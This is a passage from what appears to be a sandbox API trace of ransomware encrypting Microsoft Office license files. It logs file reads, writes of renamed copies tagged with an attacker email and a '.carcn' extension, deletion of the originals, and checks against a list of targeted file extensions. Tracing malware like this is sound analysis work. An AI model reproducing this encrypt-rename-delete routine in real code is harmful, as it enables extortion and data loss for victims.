Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.515] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.515] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0284.516] GetLastError () returned 0x0 [0284.516] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0xd34, lpOverlapped=0x0) returned 1 [0284.554] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0xd40, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0xd40, lpOverlapped=0x0) returned 1 [0284.555] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.555] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10a, lpOverlapped=0x0) returned 1 [0284.555] SetEndOfFile (hFile=0x4ac) returned 1 [0284.556] CloseHandle (hObject=0x4ac) returned 1 [0284.556] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.556] SetEndOfFile (hFile=0x370) returned 1 [0284.559] CloseHandle (hObject=0x370) returned 1 [0284.559] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.560] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-stil.xrm-ms")) returned 1 [0284.560] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.561] lstrlenW (lpString=".doc") returned 4 [0284.561] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".docx") returned 5 [0284.561] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.561] lstrlenW (lpString=".pdf") returned 4 [0284.561] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".xls") returned 4 [0284.561] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".xlsx") returned 5 [0284.561] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.561] lstrlenW (lpString=".ppt") returned 4 [0284.561] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.561] lstrlenW (lpString=".zip") returned 4 [0284.561] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".rar") returned 4 [0284.561] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".bz2") returned 4 [0284.561] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.561] lstrlenW (lpString=".7z") returned 3 [0284.562] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.562] lstrlenW (lpString=".dbf") returned 4 [0284.562] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.562] lstrlenW (lpString=".1cd") returned 4 [0284.562] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.562] lstrlenW (lpString=".jpg") returned 4 [0284.562] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.562] lstrlenW (lpString=".doc") returned 4 [0284.562] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.562] lstrlenW (lpString=".docx") returned 5 [0284.562] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.562] lstrlenW (lpString=".pdf") returned 4 [0284.562] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.562] lstrlenW (lpString=".xls") returned 4 [0284.562] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString=".xlsx") returned 5 [0284.563] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.563] lstrlenW (lpString=".ppt") returned 4 [0284.563] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.563] lstrlenW (lpString=".zip") returned 4 [0284.563] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString=".rar") returned 4 [0284.563] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString=".bz2") returned 4 [0284.563] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString=".7z") returned 3 [0284.563] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.563] lstrlenW (lpString=".dbf") returned 4 [0284.563] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.564] lstrlenW (lpString=".1cd") returned 4 [0284.564] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.564] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-stil.xrm-ms") returned 77 [0284.564] lstrlenW (lpString=".jpg") returned 4 [0284.564] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.564] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.564] lstrlenW (lpString="client-issuance-ul-oob.xrm-ms") returned 29 [0284.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.565] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=4392) returned 1 [0284.565] CloseHandle (hObject=0x370) returned 1 [0284.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 0x220 [0284.565] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.565] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0284.565] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.566] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.566] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4ac [0284.567] GetLastError () returned 0x0 [0284.567] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x1128, lpOverlapped=0x0) returned 1 [0284.583] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x1130, lpOverlapped=0x0) returned 1 [0284.584] ReadFile (in: hFile=0x370, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0284.585] WriteFile (in: hFile=0x4ac, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x10e, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x10e, lpOverlapped=0x0) returned 1 [0284.585] SetEndOfFile (hFile=0x4ac) returned 1 [0284.585] CloseHandle (hObject=0x4ac) returned 1 [0284.585] SetFilePointerEx (in: hFile=0x370, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0284.585] SetEndOfFile (hFile=0x370) returned 1 [0284.588] CloseHandle (hObject=0x370) returned 1 [0284.588] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0284.588] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\client-issuance-ul-oob.xrm-ms")) returned 1 [0284.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.589] lstrlenW (lpString=".doc") returned 4 [0284.589] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.589] lstrlenW (lpString=".docx") returned 5 [0284.589] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.589] lstrlenW (lpString=".pdf") returned 4 [0284.589] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.589] lstrlenW (lpString=".xls") returned 4 [0284.589] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.589] lstrlenW (lpString=".xlsx") returned 5 [0284.589] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.589] lstrlenW (lpString=".ppt") returned 4 [0284.589] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.589] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.589] lstrlenW (lpString=".zip") returned 4 [0284.590] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".rar") returned 4 [0284.590] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".bz2") returned 4 [0284.590] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".7z") returned 3 [0284.590] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.590] lstrlenW (lpString=".dbf") returned 4 [0284.590] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.590] lstrlenW (lpString=".1cd") returned 4 [0284.590] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.590] lstrlenW (lpString=".jpg") returned 4 [0284.590] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.590] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.590] lstrlenW (lpString=".doc") returned 4 [0284.590] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".docx") returned 5 [0284.590] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0284.590] lstrlenW (lpString=".pdf") returned 4 [0284.590] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".xls") returned 4 [0284.590] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0284.590] lstrlenW (lpString=".xlsx") returned 5 [0284.590] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0284.591] lstrlenW (lpString=".ppt") returned 4 [0284.591] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.591] lstrlenW (lpString=".zip") returned 4 [0284.591] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString=".rar") returned 4 [0284.591] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString=".bz2") returned 4 [0284.591] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString=".7z") returned 3 [0284.591] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0284.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.591] lstrlenW (lpString=".dbf") returned 4 [0284.591] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.591] lstrlenW (lpString=".1cd") returned 4 [0284.591] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0284.591] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\client-issuance-ul-oob.xrm-ms") returned 79 [0284.591] lstrlenW (lpString=".jpg") returned 4 [0284.591] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0284.591] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0284.591] lstrlenW (lpString="ExcelR_Grace-ppd.xrm-ms") returned 23 [0284.591] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0284.630] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=20841) returned 1 [0284.630] CloseHandle (hObject=0x394) returned 1 [0284.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 0x220 [0284.784] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0284.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.187] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.187] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.187] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x540 [0285.189] GetLastError () returned 0x0 [0285.189] ReadFile (in: hFile=0x544, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x5169, lpOverlapped=0x0) returned 1 [0285.211] WriteFile (in: hFile=0x540, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x5170, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x5170, lpOverlapped=0x0) returned 1 [0285.212] ReadFile (in: hFile=0x544, lpBuffer=0x43a5020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3cffecc, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesRead=0x3cffecc*=0x0, lpOverlapped=0x0) returned 1 [0285.212] WriteFile (in: hFile=0x540, lpBuffer=0x43a5020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x3cffc94, lpOverlapped=0x0 | out: lpBuffer=0x43a5020*, lpNumberOfBytesWritten=0x3cffc94*=0x102, lpOverlapped=0x0) returned 1 [0285.212] SetEndOfFile (hFile=0x540) returned 1 [0285.213] CloseHandle (hObject=0x540) returned 1 [0285.213] SetFilePointerEx (in: hFile=0x544, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3cffec0 | out: lpNewFilePointer=0x0) returned 1 [0285.213] SetEndOfFile (hFile=0x544) returned 1 [0285.216] CloseHandle (hObject=0x544) returned 1 [0285.216] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0285.217] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_grace-ppd.xrm-ms")) returned 1 [0285.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.218] lstrlenW (lpString=".doc") returned 4 [0285.218] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".docx") returned 5 [0285.218] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.218] lstrlenW (lpString=".pdf") returned 4 [0285.218] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".xls") returned 4 [0285.218] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".xlsx") returned 5 [0285.218] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.218] lstrlenW (lpString=".ppt") returned 4 [0285.218] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.218] lstrlenW (lpString=".zip") returned 4 [0285.218] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".rar") returned 4 [0285.218] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".bz2") returned 4 [0285.218] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString=".7z") returned 3 [0285.218] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.218] lstrlenW (lpString=".dbf") returned 4 [0285.218] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.218] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.219] lstrlenW (lpString=".1cd") returned 4 [0285.219] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.219] lstrlenW (lpString=".jpg") returned 4 [0285.219] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.219] lstrlenW (lpString=".doc") returned 4 [0285.219] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString=".docx") returned 5 [0285.219] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0285.219] lstrlenW (lpString=".pdf") returned 4 [0285.219] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString=".xls") returned 4 [0285.219] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString=".xlsx") returned 5 [0285.219] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0285.219] lstrlenW (lpString=".ppt") returned 4 [0285.219] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0285.219] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.220] lstrlenW (lpString=".zip") returned 4 [0285.220] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0285.220] lstrlenW (lpString=".rar") returned 4 [0285.220] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0285.220] lstrlenW (lpString=".bz2") returned 4 [0285.220] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0285.220] lstrlenW (lpString=".7z") returned 3 [0285.220] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0285.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.220] lstrlenW (lpString=".dbf") returned 4 [0285.220] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0285.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.220] lstrlenW (lpString=".1cd") returned 4 [0285.220] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0285.220] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Grace-ppd.xrm-ms") returned 73 [0285.220] lstrlenW (lpString=".jpg") returned 4 [0285.220] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0285.220] lstrcmpiW (lpString1=".xrm-ms", lpString2=".carcn") returned 1 [0285.220] lstrlenW (lpString="ExcelR_Trial-ppd.xrm-ms") returned 23 [0285.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544 [0285.221] GetFileSizeEx (in: hFile=0x544, lpFileSize=0x3cfff14 | out: lpFileSize=0x3cfff14*=20967) returned 1 [0285.221] CloseHandle (hObject=0x544) returned 1 [0285.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\excelr_trial-ppd.xrm-ms")) returned 0x220 [0285.221] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\ExcelR_Trial-ppd.xrm-ms.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft 